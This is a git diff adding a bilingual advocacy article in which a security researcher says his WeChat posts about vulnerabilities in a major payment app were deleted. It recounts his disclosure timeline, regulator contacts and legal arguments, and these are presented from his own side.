diff --git a/article_censorship.html b/article_censorship.html new file mode 100644 index 0000000..5753eb2 --- /dev/null +++ b/article_censorship.html @@ -0,0 +1,1816 @@ + + + + + +当"网络安全法"成为审查武器 | When "Cybersecurity Law" Becomes a Censorship Weapon — Innora AI Security Research + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +
+ + +
+
+ 独立安全研究 · 审查事件记录 + Independent Security Research · Censorship Record +
+

Innora AI Security Research  |  Jiqiang Feng (风宁)  |  2026-03-15

+

+ 当"网络安全法"成为审查武器 + +

+

+ 一个安全研究者对抗企业压制的全球记录 + +

+ +

+ 8篇微信安全研究文章被分两波强制删除。36份报告已提交MITRE。IACR学术论文已收录。22个国家的监管机构正在调查。真相不需要删除通知。 + 8 WeChat security research articles forcibly deleted in 2 waves. 36 reports filed with MITRE. IACR paper published. 22 countries investigating. Truth needs no takedown notice. +

+ +
+ + + feng@innora.ai + feng@innora.ai + + + + 2026-03-15 · 世界消费者权益日 + 2026-03-15 · World Consumer Rights Day + + + 完整技术报告 → + Full Technical Report → + + + Packet Storm #217089 → + +
+ +
+
+
4
+
文章被删Deleted
+
+
+
17
+
已验证漏洞Verified Vulns
+
+
+
308
+
服务器日志Exfil Logs
+
+
+
38+
+
机构回应Institutions
+
+
+
6
+
CVE待分配CVEs Pending
+
+
+
+ + +
+ +
+ + +
+ +
+ + +
+
+

+ + 序言 + Prologue + + 删除不了的真相 + Truth Cannot Be Deleted +

+ +

+ 2026年3月15日和3月20日,我的微信公众号"AI-security-innora"共8篇安全研究文章被分两波强制删除 + On March 15 and March 20, 2026, a total of 8 security research articles were force-deleted in two waves from my WeChat Official Account "AI-security-innora." +

+ +

+ 删除通知原文:"接相关投诉,以下文章被判断为违反《中华人民共和国网络安全法》,已删除。"处理依据:"相关法律法规"。没有指明具体条款。没有指明投诉方。没有申诉渠道。 + The exact wording of the deletion notice: "Received related complaint. The following article has been determined to violate the Cybersecurity Law of the People's Republic of China and has been deleted." Basis: "related laws and regulations." No specific article. No identified complainant. No appeal channel. +

+ +

+ 通知只说了"接相关投诉"——没有指明投诉方是谁。没有案件编号。没有联系方式。连你被谁告了都不告诉你。 + The notice only said "received related complaint" — without identifying who filed it. No case number. No contact information. They do not even tell you who accused you. +

+ + + +

+ 删除通知截图(原始证据) + Deletion Notice Screenshots (Original Evidence) +

+
+
+ WeChat deletion notice - articles 1 and 2 +

+ 微信公众平台安全助手通知 — 文章1和2 + WeChat Platform Safety Assistant — Articles 1 and 2 +

+
+
+ WeChat deletion notice - articles 3 and 4 +

+ 微信公众平台安全助手通知 — 文章3和4 + WeChat Platform Safety Assistant — Articles 3 and 4 +

+
+
+
+

+ 注意通知措辞:"接相关投诉" — 不指明投诉方。"相关法律法规" — 不指明具体条款。没有申诉渠道。4天前以"名誉侵权"为由的投诉已被平台驳回(单号4285****65),但换一个理由后平台直接删除,不再审核。 + Note the wording: "Received related complaint" — complainant unidentified. "Related laws and regulations" — no specific article cited. No appeal channel. A complaint citing "reputation infringement" was rejected 4 days earlier (Case #4285****65, filed by Beijing Geyun Law Firm). This time, an anonymous complaint citing "Cybersecurity Law" succeeded — the platform deleted all articles without further review. +

+
+ +
+

+ 讽刺的是,4天前,针对同样内容的一份投诉已经被微信平台审核驳回(北京格韵律师事务所提交,投诉单号4285****65)。微信平台的裁定是:"未能核实判断被投诉内容侵权,对本次投诉暂不予支持。"而这次,连投诉方是谁都不告诉你,文章就直接消失了。 + The irony: four days earlier, a complaint about the same content — filed by Beijing Geyun Law Firm — had been reviewed and rejected by WeChat (Case #4285****65). WeChat's ruling: "Unable to verify infringement; complaint not supported." This time, you are not even told who filed the complaint. The articles simply vanish. +

+
+ +

+ 第一次用"名誉侵权"——失败。第二次换"网络安全法"——成功。 + First attempt using "reputation infringement" — failed. Second attempt invoking "Cybersecurity Law" — succeeded. +

+ +

+ 这不是法律的胜利。这是法律被武器化的证据。 + This is not a victory of law. This is evidence of law being weaponized. +

+
+
+ + +
+
+

+ + 第一部分 + Part 1 + + 事实:17个漏洞、308条日志、42张截图 + The Facts — 17 Vulnerabilities, 308 Logs, 42 Screenshots +

+ +

+ 2026年2月25日至3月7日,我向一个日活超过10亿用户的国民级支付应用提交了4轮安全漏洞报告,发现17个安全漏洞,CVSS评分从7.4到9.3。核心发现是一条完整的攻击链: + Between February 25 and March 7, 2026, I submitted four rounds of vulnerability reports to a payment application with over 1 billion daily active users. I identified 17 security vulnerabilities with CVSS scores ranging from 7.4 to 9.3. The core finding was a complete attack chain: +

+ +
+

+ ds.alipay.com 开放重定向 (CVSS 9.3) → DeepLink URL Scheme绕过 (CVSS 9.1) → JSBridge特权API无授权调用 + ds.alipay.com Open Redirect (CVSS 9.3) → DeepLink URL Scheme Bypass (CVSS 9.1) → Unauthorized JSBridge Privileged API Access +

+

+ 这条链的效果:攻击者构造一条恶意链接,通过WhatsApp/微信/短信发送给任何用户。用户点击后,攻击者可以—— + The chain's impact: an attacker crafts a single malicious link, sent via WhatsApp/WeChat/SMS to any user. Upon clicking, the attacker gains the ability to: +

+
+ + + +

+ 这些不是理论推测。308条服务器交互日志记录了每一次数据外传。42张全链路截图标记了每个关键步骤。3台设备在3个国家完成了独立复现——新西兰奥克兰的Samsung S25 Ultra、马来西亚槟城的Redmi、以及厂商自家安全负责人在杭州总部使用的iPhone 16 Pro。 + These are not theoretical claims. 308 server interaction logs document every data exfiltration event. 42 full-chain screenshots mark each critical step. 3 devices across 3 countries independently reproduced the findings — a Samsung S25 Ultra in Auckland, New Zealand; a Redmi in Penang, Malaysia; and the vendor's own security lead's iPhone 16 Pro at Hangzhou headquarters. +

+ +
+
+
17
+
已验证安全漏洞 CVSS 7.4–9.3Verified vulnerabilities CVSS 7.4–9.3
+
+
+
308
+
数据外传服务器日志Data exfiltration server logs
+
+
+
42
+
全链路证据截图Full-chain evidence screenshots
+
+
+
3
+
3国3设备独立复现Independent repro across 3 countries
+
+
+ +
+

+ 2026年3月7日,在一通23分钟的语音通话中(全程录音),厂商安全负责人口头承认了漏洞的严重性。他亲口说:"如果你能绕过我们的白名单,那确实是很严重的问题。" + On March 7, 2026, during a 23-minute phone call (fully recorded), the vendor's security lead verbally acknowledged the severity. His exact words: "If you can bypass our whitelist, that would indeed be a serious issue." +

+

+ 11分钟后,白名单被绕过。 + Eleven minutes later, the whitelist was bypassed. +

+
+ +

+ 3月10日,厂商的最终答复:"经过我们安全工程师审核,这些属于正常功能。" + March 10, the vendor's final response: "Based on our security engineers' assessment, these constitute normal functionality." +

+
+
+ + +
+
+

+ + 第二部分 + Part 2 + + 审查升级:从驳回到全面删除 + Escalating Censorship — From Rejection to Total Deletion +

+ +

+ 时间线本身就是最有力的证据。 + The timeline itself is the most powerful evidence. +

+ +
+
+
3月11日 18:16 / Mar 11, 18:16
+

研究报告公开发布至独立博客 innora.ai/zfb/Research report publicly disclosed at independent blog innora.ai/zfb/

+
+
+
3月11日 22:45 / Mar 11, 22:45
+

公开发布4小时29分钟后,北京格韵律师事务所提交"名誉侵权"投诉4 hours 29 minutes after disclosure, Beijing Geyun Law Firm files "reputation infringement" complaint

+
+
+
3月12日 / Mar 12
+

微信平台驳回投诉(投诉单号 4285****65)— 裁定:不构成侵权WeChat platform rejects the complaint (Complaint #4285****65) — Ruling: no infringement found

+
+
+
3月12日 / Mar 12
+

Packet Storm Security 收录publishes Advisory #217089  ·  6个CVE提交MITRE (Ticket #2005801)6 CVEs submitted to MITRE (Ticket #2005801)

+
+
+
3月12–14日 / Mar 12–14
+

189封邮件发送至22个国家的约160个监管机构、CERT、媒体189 emails sent to ~160 regulators, CERTs, and media across 22 countries

+
+
+
3月15日 / Mar 15 — WORLD CONSUMER RIGHTS DAY
+

4篇文章全部被删除,依据"相关法律法规",投诉方匿名All 4 articles force-deleted, citing "related laws," complainant anonymous

+
+
+
3月15-19日 / Mar 15-19
+

研究员继续发表4篇新文章,涵盖IACR论文收录、SecurityGuard SDK逆向、1095个APP监控名单、向网信办举报等Researcher publishes 4 new articles covering IACR paper acceptance, SecurityGuard SDK RE, 1095-app surveillance list, and formal CAC complaint

+
+
+
3月19-20日 / Mar 19-20
+

6个新报告提交MITRE (Batch-1 + Batch-2),总计18个报告。IACR论文收录 (eprint.iacr.org/2026/526)6 new reports filed with MITRE (Batch-1 + Batch-2), total 18 reports. IACR paper published (eprint.iacr.org/2026/526)

+

2026-03-21: 发现WiFi RTT 9层室内定位系统,146,173个PatchProxy热替换点。补充证据发送至30+机构。AntSRC回复称漏洞"无法实际利用",但IACR论文和11个PoC已证明可利用性。2026-03-21: Discovered WiFi RTT 9-layer indoor positioning system with 146,173 PatchProxy hot-replacement points. Supplemental evidence sent to 30+ agencies. AntSRC responded claiming vulnerabilities "cannot be practically exploited" — contradicted by IACR paper and 11 verified PoCs.

+
+
+
3月23日 / Mar 23
+

Batch-3 + Batch-4: 18个新报告提交MITRE,总计36个报告覆盖10个ticket。Docker验证环境发布 (37项自动检查全部通过)。证据存档至IPFS。Zenodo DOI确权 (10.5281/zenodo.19186848)。Batch-3 + Batch-4: 18 new reports filed with MITRE, total 36 reports across 10 tickets. Docker verification environment published (37 automated checks, all passing). Evidence archived to IPFS. Zenodo DOI assigned (10.5281/zenodo.19186848).

+
+
+
3月20日 / Mar 20 — SECOND WAVE
+

又4篇新文章全部被删(总计8篇),同样援引"相关法律法规",仍不指明具体条款和投诉方4 MORE new articles force-deleted (8 total), again citing "related laws and regulations," still no specific article or complainant identified

+
+ +
+ +

+ 被删除的8篇文章 + The 8 Deleted Articles +

+
    +
  1. 《当白名单绕过沦为全网攻击的钥匙,傲慢的终点是法庭与溯源调查》"When Whitelist Bypass Becomes the Master Key to Full-Network Attack"
  2. +
  3. 《巨头的"封口令"被微信驳回,而全球顶级黑客弹药库给出了最终裁决》"Tech Giant's 'Gag Order' Rejected by WeChat, Packet Storm Delivers Final Verdict"
  4. +
  5. 《位置被秒偷!10多亿人每天在用的国民支付应用,17个「正常功能」细思极恐!》"Location Stolen Instantly! 17 'Normal Features' in the App 1 Billion People Use Daily"
  6. +
  7. 《支付宝安全研究遭律师函投诉——一篇零次提及"支付宝"的文章如何构成"商誉侵权"?》"Alipay Research Hit with Lawyer's Letter — How Does an Article That Never Mentions 'Alipay' Constitute Reputation Infringement?"
  8. + +
  9. WAVE 2 (March 20):
  10. +
  11. 《支付宝公关忙着删帖,我已经发论文拿到了全球最顶级密码学的入场券》"While Alipay's PR Team Deletes Posts, I've Published a Paper Accepted by the World's Top Cryptography Archive"
  12. +
  13. 《竞品监控还是用户监控?支付宝代码里暗藏1095个APP"监控名单":你装的微信、银行、京东,它全知道》"Competitor Surveillance or User Surveillance? 1095 Apps in Alipay's Hidden Monitoring List"
  14. +
  15. 《我以中国公民身份,向网信办正式举报了支付宝》"As a Chinese Citizen, I Formally Reported Alipay to the Cyberspace Administration of China"
  16. +
  17. 《支付宝需要监控你的截屏、蓝牙和通话吗?一次完整的逆向工程分析》"Does Alipay Need to Monitor Your Screenshots, Bluetooth, and Phone Calls? A Complete Reverse Engineering Analysis"
  18. +
+ + + +

+ 删除通知截图(原始证据) + Deletion Notice Screenshots (Original Evidence) +

+
+
+ WeChat deletion notice - articles 1 and 2 +

+ 微信公众平台安全助手通知 — 文章1和2 + WeChat Platform Safety Assistant — Articles 1 and 2 +

+
+
+ WeChat deletion notice - articles 3 and 4 +

+ 微信公众平台安全助手通知 — 文章3和4 + WeChat Platform Safety Assistant — Articles 3 and 4 +

+
+
+
+

+ 注意通知措辞:"接相关投诉" — 不指明投诉方。"相关法律法规" — 不指明具体条款。没有申诉渠道。4天前以"名誉侵权"为由的投诉已被平台驳回(单号4285****65),但换一个理由后平台直接删除,不再审核。 + Note the wording: "Received related complaint" — complainant unidentified. "Related laws and regulations" — no specific article cited. No appeal channel. A complaint citing "reputation infringement" was rejected 4 days earlier (Case #4285****65, filed by Beijing Geyun Law Firm). This time, an anonymous complaint citing "Cybersecurity Law" succeeded — the platform deleted all articles without further review. +

+
+ +
+

+ 注意第4篇的标题:一篇零次提及"支付宝"的文章,在第一次投诉中(投诉单号4285****65)以"商誉侵权"为由被投诉。投诉本身就暴露了投诉方的身份——如果文章没有提到你,你怎么知道说的是你? + Note Article 4's title: an article that mentioned "Alipay" zero times was targeted in the first complaint (Case #4285****65) for "reputation infringement." The complaint itself reveals the complainant's identity — if the article doesn't mention you, how do you know it's about you? +

+
+ + + +

+ 第二波删除通知截图 (3月20日) + Wave 2 Deletion Notice Screenshots (March 20) +

+
+
+ WeChat Wave 2 deletion notice - articles 5 and 6 +

+ 第二波删除通知 — 文章5和6 (IACR论文 + 1095个APP监控名单) + Wave 2 Deletion Notice — Articles 5 and 6 (IACR Paper + 1095-App Surveillance List) +

+
+
+ WeChat Wave 2 deletion notice - articles 7 and 8 +

+ 第二波删除通知 — 文章7和8 (向网信办举报 + 逆向工程分析) + Wave 2 Deletion Notice — Articles 7 and 8 (CAC Complaint + Reverse Engineering Analysis) +

+
+
+
+

+ 第二波审查要点:这4篇文章发布于3月15日首波审查之后。研究员在文章被删后继续发表新研究,蚂蚁集团再次通过相同机制删除。这证明这不是一次性事件,而是持续的、系统性的审查行动。值得注意的是:其中一篇文章记录了研究员向中国网信办的正式举报——举报蚂蚁的文章也被以蚂蚁的投诉删除了。 + Wave 2 Key Points: These 4 articles were published AFTER the first wave of censorship on March 15. The researcher continued publishing new findings; Ant Group responded by deleting again via the same mechanism. This proves this is not an isolated incident but a sustained, systematic censorship campaign. Notably, one deleted article documented the researcher's formal complaint to China's Cyberspace Administration (CAC) about Alipay — the article reporting Ant Group to regulators was itself deleted at Ant Group's request. +

+
+ +

+ 升级路径清晰可见: + The escalation pattern is unmistakable: +

+

+ 口头否认漏洞 → 律师函投诉"名誉侵权"(被驳回)→ 改用"网络安全法"(第一波:删4篇)→ 研究员继续发表 → 再次删除(第二波:再删4篇)→ 服务器端拦截PoC + Verbal denial → Lawyer letter citing "reputation infringement" (rejected) → Switch to "Cybersecurity Law" (Wave 1: 4 articles deleted) → Researcher continues publishing → Second deletion (Wave 2: 4 more deleted) → Server-side PoC interception +

+
+
+ + +
+
+

+ + 第三部分 + Part 3 + + 法律的两张面孔 + Two Faces of Law +

+ +

+ 中国:网络安全法的武器化 + China: Weaponization of Cybersecurity Law +

+ +

+ 2026年1月1日生效的《网络安全法》修正案将原第26条改为第28条,规定:未经授权开展网络安全认证、检测、风险评估活动,或发布系统漏洞等网络安全信息,可被处以最高100万元人民币罚款(约14万美元),并可被责令停业整顿、关闭网站、吊销营业执照。 + China's amended Cybersecurity Law (effective January 1, 2026) renumbered Article 26 to Article 28, stipulating: conducting unauthorized cybersecurity certification, testing, or risk assessment, or publishing cybersecurity information including system vulnerabilities, may result in fines up to RMB 1 million (~$140,000 USD), with authorities empowered to order business suspension, website shutdown, or license revocation. +

+ +
+

+ 但请注意:这条法律的本意是规范漏洞披露流程,要求研究者先向工信部(MIIT)报告,不得在厂商修补前公开。它从来不是一个"删除安全研究文章"的工具。 + But note: this law's intent is to regulate vulnerability disclosure processes, requiring researchers to report to MIIT first, and prohibiting publication before vendor patches. It was never designed as a tool for "deleting security research articles." +

+
+ +

在本案中:In this case:

+ + + +

+ 网络安全法第28条不适用于此场景。它被用来作为一个无法被质疑的"核武器"——因为在中国的平台审核体系中,引用"网络安全法"几乎等于自动执行,无需实质审查。 + Article 28 does not apply to this scenario. It was wielded as an unquestionable "nuclear option" — because in China's platform moderation system, invoking "Cybersecurity Law" triggers near-automatic enforcement without substantive review. +

+ +

+ 欧盟:吹哨人保护指令 + EU: Whistleblower Protection Directive +

+ +

+ 在世界的另一边,完全相反的法律框架保护着同样的行为。 + On the other side of the world, an entirely opposite legal framework protects the exact same conduct. +

+ +
+

EU Whistleblower Directive 2019/1937

+
    +
  • 第19条: 成员国应禁止对举报人的任何报复行为Article 19: Member States shall prohibit any form of retaliation against reporting persons
  • +
  • 第21条: 报复行为包括——解雇、降级、骚扰、负面推荐、列入黑名单、业务抵制Article 21: Retaliation includes dismissal, demotion, harassment, negative references, blacklisting, business boycotting
  • +
  • 第22条: 受害者有权通过司法或行政程序获得物质和精神损害赔偿Article 22: Victims are entitled to material and non-material damage compensation through judicial/administrative procedures
  • +
  • 第23条: 成员国应对实施报复的自然人和法人制定有效、相称和具有威慑力的处罚Article 23: Member States shall lay down effective, proportionate and dissuasive penalties for perpetrators of retaliation
  • +
+
+ +

+ Alipay的欧洲实体——Alipay (Europe) Limited S.A.(CSSF编号W000****09,卢森堡RCS B188095)——持有电子货币机构(EMI)牌照,受CSSF直接监管。 + Alipay's European entity — Alipay (Europe) Limited S.A. (CSSF No. W000****09, Luxembourg RCS B188095) — holds an Electronic Money Institution (EMI) license under direct CSSF supervision. +

+ +

+ 2025年5月,CSSF已经因反洗钱(AML)违规对其处以€214,000罚款——涉及6起可疑交易报告未提交、制裁警报延迟、KYC文件缺失。 + In May 2025, CSSF had already fined it €214,000 for AML violations — involving 6 unreported suspicious transaction reports, delayed sanction alerts, and missing KYC documentation. +

+ +

+ 2026年3月13日,我向CSSF Whistleblowing团队提交了安全漏洞报告。案件编号:[Case Ref Redacted]。CSSF的ICT Risk监管部门和Whistleblowing团队双重确认收到 + On March 13, 2026, I submitted the security vulnerability report to CSSF's Whistleblowing team. Case number: [Case Ref Redacted]. Both CSSF's ICT Risk Supervision and Whistleblowing teams confirmed receipt. +

+ +
+

+ 跨境删除内容是否构成EU法下的"报复"?这是一个前沿法律问题。但根据Directive第21条的广义定义——"任何直接或间接导致举报人遭受不利待遇的行为"——通过律师事务所在中国平台删除安全研究文章,完全可以被论证为报复行为 + Does cross-border content deletion constitute "retaliation" under EU law? This is a frontier legal question. But under Article 21's broad definition — "any action that causes unjustified detriment" — using a law firm to delete security research articles on Chinese platforms can be argued as retaliatory conduct. +

+
+
+
+ + +
+
+

+ + 第四部分 + Part 4 + + 全球回响:38个机构的回答 + Global Echo — Responses from 38 Institutions +

+ +

+ 如果这些漏洞真的是"正常功能",为什么全球38个机构做出了回应? + If these vulnerabilities are truly "normal functionality," why did 38 global institutions respond? +

+ +

+ 金融监管机构(16个回复) + Financial Regulators (16 responses) +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
机构Institution国家Country行动Action
HKMA 香港金融管理局HK Monetary Authority香港Hong Kong正式投诉立案Formal complaint filed CE202603****5412
PDPC 个人数据保护委员会Personal Data Protection Commission新加坡Singapore正式隐私违规调查Formal privacy investigation #006****24
CSSF 金融监管委员会Financial Sector Supervisory Commission卢森堡LuxembourgWhistleblowing [Case Ref Redacted]
FCA 金融行为监管局Financial Conduct Authority英国UKWhistleblowing团队确认收到Whistleblowing team confirmed receipt
OAIC 信息专员办公室Office of the Australian Information Commissioner澳大利亚AustraliaIntake团队确认收到Intake team confirmed receipt
EDPB 欧洲数据保护委员会European Data Protection Board欧盟EU跨境数据保护投诉确认收到Cross-border data protection complaint confirmed
FMA 金融市场管理局Financial Markets Authority新西兰New Zealand确认收到,正在评估Confirmed receipt, assessing
ANSSI 网络安全局National Cybersecurity Agency法国France确认收到,已转交相关部门Confirmed, forwarded to relevant dept
CIRCL 国家CERTNational CERT卢森堡Luxembourg[CIRCL Case #XXXXX],已代联Alibaba SRC, coordinating with Alibaba SRC
DNB 荷兰央行De Nederlandsche Bank荷兰Netherlands确认收到,转info@监管通道Confirmed, forwarded to regulatory channel
BNM 国家银行Bank Negara Malaysia马来西亚Malaysia确认收到Confirmed receipt BNM:0001****9160
OJK 金融监管局Financial Services Authority印尼Indonesia要求补充说明Requested additional details L260****304
+
+ +

+ 平台方(5个回复) + Platforms (5 responses) +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
平台Platform行动Action
Apple Product Security正式调查Formal investigation OE0105****3014
Google Play政策违规审查Policy violation review #9-7515****0640
Packet Storm Security已发布Published Advisory #217089
MITRE CVE6个CVE受理6 CVEs received Ticket #2005801
PayPal确认收到Confirmed receipt
+
+ +

+ 媒体与社区(7+个回复) + Media and Community (7+ responses) +

+ +

+ Help Net Security、Tech in Asia、The Information等媒体确认收到。Reddit r/netsec社区已发帖。独立安全研究者在GitHub上独立复现了发现。 + Help Net Security, Tech in Asia, The Information and others confirmed receipt. Posted on Reddit r/netsec. Independent security researchers reproduced findings on GitHub. +

+ +
+

+ 总计:189封邮件,22个国家,38+个回复,多个正式调查启动。 + Total: 189 emails, 22 countries, 38+ responses, multiple formal investigations launched. +

+
+
+
+ + +
+
+

+ + 第五部分 + Part 5 + + 全球模式:安全研究者被打压不是个案 + Global Pattern — Researcher Suppression Is Not Isolated +

+ +

+ disclose.io Research Threats Database 记录了过去25年中 80+起安全研究者遭受法律威胁的案例。模式惊人地相似: + The disclose.io Research Threats Database documents 80+ cases of legal threats against security researchers over 25 years. The patterns are strikingly similar: +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
案例Case年份Year国家Country打压模式Suppression Pattern
Columbus, Ohio vs Connor Goodwolf2024美国USA研究者报告勒索软件数据泄露 → 被申请禁止令+$25K赔偿Researcher reports ransomware breach → injunction + $25K demanded
NEWAG vs Dragon Sector2023–24波兰Poland研究者发现火车DRM → 被起诉版权侵权(SLAPP诉讼)Train DRM research → SLAPP copyright lawsuit
Modern Solution GmbH2024德国Germany程序员报告漏洞 → 被刑事起诉,罚款€3,000Programmer reports vuln → criminal prosecution, €3,000 fine
FreeHour vs CS Students2023马耳他Malta4名学生报告漏洞 → 被逮捕、脱衣搜身4 students report vuln → arrested, strip-searched
Arm Ltd vs Maria Markstedter2023英国UK研究者域名被投诉下线Researcher's domain taken offline via complaint
Apple vs Denis Tokarev2021美国USADMCA武器化删除GitHub漏洞文档DMCA weaponized to remove GitHub vulnerability docs
+
+ +
+

+ 本案的独特特征 + What Makes This Case Unique +

+

+ 这可能是全球第一例——在投诉被平台驳回后,通过一个匿名投诉、引用不同法律依据成功删除内容的记录案例——没有指明投诉方,没有申诉渠道。 + This may be the first documented case where after a complaint was rejected by a platform, articles were subsequently deleted through an anonymous complaint citing a different legal basis — with no identified complainant and no appeal process. +

+
+ +

+ 不管是谁提交的第二次投诉,结果都一样恐怖:一次被驳回的投诉,只需要换一个法律依据就能绕过平台审核,实现内容删除。这个系统没有纠错机制。 + Regardless of who filed the second complaint, the result is equally terrifying: a rejected complaint can bypass platform review simply by citing a different legal basis, achieving content deletion. This system has no error-correction mechanism. +

+
+
+ + +
+
+

+ + 第六部分 + Part 6 + + 对比的荒谬 + The Absurdity of Contrast +

+ +

+ 同一份技术研究报告。同样的17个漏洞。同样的308条日志和42张截图。 + The same technical research report. The same 17 vulnerabilities. The same 308 logs and 42 screenshots. +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
维度Dimension国际社会International中国平台Chinese Platform
漏洞定性ClassificationCVSS 9.3, 6个CVE待分配6 CVEs pending"正常功能""Normal functionality"
内容状态Content Status公开存档 (Packet Storm/GitHub/innora.ai)Publicly archived (Packet Storm/GitHub/innora.ai)强制删除Force-deleted
法律定性Legal StatusISO 29147合规披露 + EU吹哨人保护ISO 29147-compliant disclosure + EU whistleblower protection"违反网络安全法""Violates Cybersecurity Law"
厂商回应Vendor ResponseApple/Google启动调查Apple/Google launched investigations律师函 + 删帖Lawyer's letter + content deletion
监管态度Regulatory Response16个机构正式回复/立案16 institutions formally responded/filed沉默Silence
研究者待遇Researcher TreatmentPacket Storm认证 + CVE编号Packet Storm recognition + CVE assignment内容审查Content censored
+
+ +
+

+ 相同的事实,在太平洋的两岸获得了完全相反的法律待遇。 + Identical facts receive diametrically opposite legal treatment on two sides of the Pacific. +

+

+ 在卢森堡,向CSSF报告金融机构的安全漏洞是受法律保护的吹哨行为 ([Case Ref Redacted])。在中国,发表相同内容是"违反网络安全法"。 + In Luxembourg, reporting a financial institution's security vulnerabilities to CSSF is legally protected whistleblowing ([Case Ref Redacted]). In China, publishing the same content is "violating the Cybersecurity Law." +

+

+ 卢森堡的 Alipay (Europe) Limited S.A. 已经因为合规失败被罚了€214,000。而在中国,揭示其母公司应用安全问题的研究者被审查。 + Luxembourg's Alipay (Europe) Limited S.A. has already been fined €214,000 for compliance failures. In China, the researcher revealing its parent company's application security issues gets censored. +

+
+
+
+ + +
+
+

+ + 第七部分 + Part 7 + + 寒蝉效应与真正的网络安全威胁 + Chilling Effect and the Real Cybersecurity Threat +

+ +

+ 删除安全研究文章不会让漏洞消失。 + Deleting security research articles does not make vulnerabilities disappear. +

+ +

+ 截至今天,这条CVSS 9.3的攻击链仍然公开存档在三个独立节点: + As of today, this CVSS 9.3 attack chain remains publicly archived on three independent nodes: +

+ +
+
    +
  1. Packet Storm Security — Advisory #217089
  2. +
  3. GitHubsgInnora/alipay-deeplink-research
  4. +
  5. innora.ai/zfb/独立镜像(本站)Independent mirror (this site)
  6. +
+
+ +

+ 删除微信文章唯一的效果是:让中国用户无法了解他们正在使用的应用存在的安全风险。 + The only effect of deleting WeChat articles: Chinese users are denied knowledge of the security risks in the application they use daily. +

+ + + +

+ 删除通知截图(原始证据) + Deletion Notice Screenshots (Original Evidence) +

+
+
+ WeChat deletion notice - articles 1 and 2 +

+ 微信公众平台安全助手通知 — 文章1和2 + WeChat Platform Safety Assistant — Articles 1 and 2 +

+
+
+ WeChat deletion notice - articles 3 and 4 +

+ 微信公众平台安全助手通知 — 文章3和4 + WeChat Platform Safety Assistant — Articles 3 and 4 +

+
+
+
+

+ 注意通知措辞:"接相关投诉" — 不指明投诉方。"相关法律法规" — 不指明具体条款。没有申诉渠道。4天前以"名誉侵权"为由的投诉已被平台驳回(单号4285****65),但换一个理由后平台直接删除,不再审核。 + Note the wording: "Received related complaint" — complainant unidentified. "Related laws and regulations" — no specific article cited. No appeal channel. A complaint citing "reputation infringement" was rejected 4 days earlier (Case #4285****65, filed by Beijing Geyun Law Firm). This time, an anonymous complaint citing "Cybersecurity Law" succeeded — the platform deleted all articles without further review. +

+
+ +
+

+ 这创造了一个荒谬的悖论:全世界的安全研究者、监管机构、甚至厂商的竞争对手(Apple、Google已启动调查)都知道这些漏洞——唯独受影响最大的10亿中国用户被蒙在鼓里。 + This creates an absurd paradox: security researchers, regulators, and even the vendor's competitors worldwide (Apple and Google have launched investigations) all know about these vulnerabilities — except for the 1 billion Chinese users most affected, who are kept in the dark. +

+

+ 这才是真正的网络安全威胁。不是安全研究者披露漏洞。而是企业利用法律阻止漏洞被修复。 + This is the real cybersecurity threat. Not security researchers disclosing vulnerabilities. But corporations using law to prevent vulnerabilities from being fixed. +

+
+
+
+ + +
+
+

+ + 第八部分 + Part 8 + + 我们的立场 + Our Position +

+ +

+ 我以CISSP认证安全专家的身份,以Innora AI安全研究团队创始人的身份,声明以下立场: + As a CISSP-certified security professional and founder of Innora AI Security Research, I state the following position: +

+ + +
+
+ + +
+
+

+ + 第九部分 + Part 9 + + 致全球安全研究社区 + To the Global Security Research Community +

+ +

+ 这不仅仅是一个关于支付宝漏洞的故事。这是一个关于安全研究者在2026年面临的系统性威胁的故事。 + This is not merely a story about Alipay vulnerabilities. This is a story about the systemic threats security researchers face in 2026. +

+ +
+

+ 当一家千亿级企业可以在投诉被驳回后,仅仅通过更换法律条款就实现内容删除——没有任何研究者是安全的。 + When a hundred-billion-dollar corporation can achieve content deletion simply by switching legal grounds after its complaint is rejected — no researcher is safe. +

+

+ 当"网络安全法"可以被用来删除安全研究而非保护网络安全——法律本身已经成为安全漏洞。 + When "Cybersecurity Law" can be used to delete security research rather than protect cybersecurity — the law itself has become a security vulnerability. +

+
+ +

我们需要:We need:

+ + +
+
+ + +
+
+

+ + 附录 + Appendix + + 关键案件编号 + Key Case Numbers +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编号ID类型Type状态Status
Packet Storm #217089Advisory已发布Published
MITRE Ticket #20058016x CVE申请6x CVE request待分配Pending
HKMA CE202603****5412SVF投诉SVF Complaint立案Filed
PDPC #006****24隐私调查Privacy Investigation调查中Investigating
CSSF [Case Ref Redacted]Whistleblowing已受理Received
FCA UKWhistleblowing已确认Confirmed
Apple OE0105****3014产品安全Product Security调查中Investigating
Google Play #9-7515****0640政策违规Policy Violation调查中Investigating
CIRCL [CIRCL Case #XXXXX]CERT协调CERT Coordination进行中In Progress
WeChat #4285****65侵权投诉Infringement Complaint第一次驳回 → 第二次删除First rejected → Second: deleted
+
+ + + +
+ #SecurityResearch + #VulnerabilityDisclosure + #Censorship + #CybersecurityLaw + #WhistleblowerProtection + #Alipay + #AntGroup + #PacketStorm + #CVE + #MITRE + #CSSF + #HKMA + #FreeSpeech + #ResearcherRights + #InfoSec +
+
+
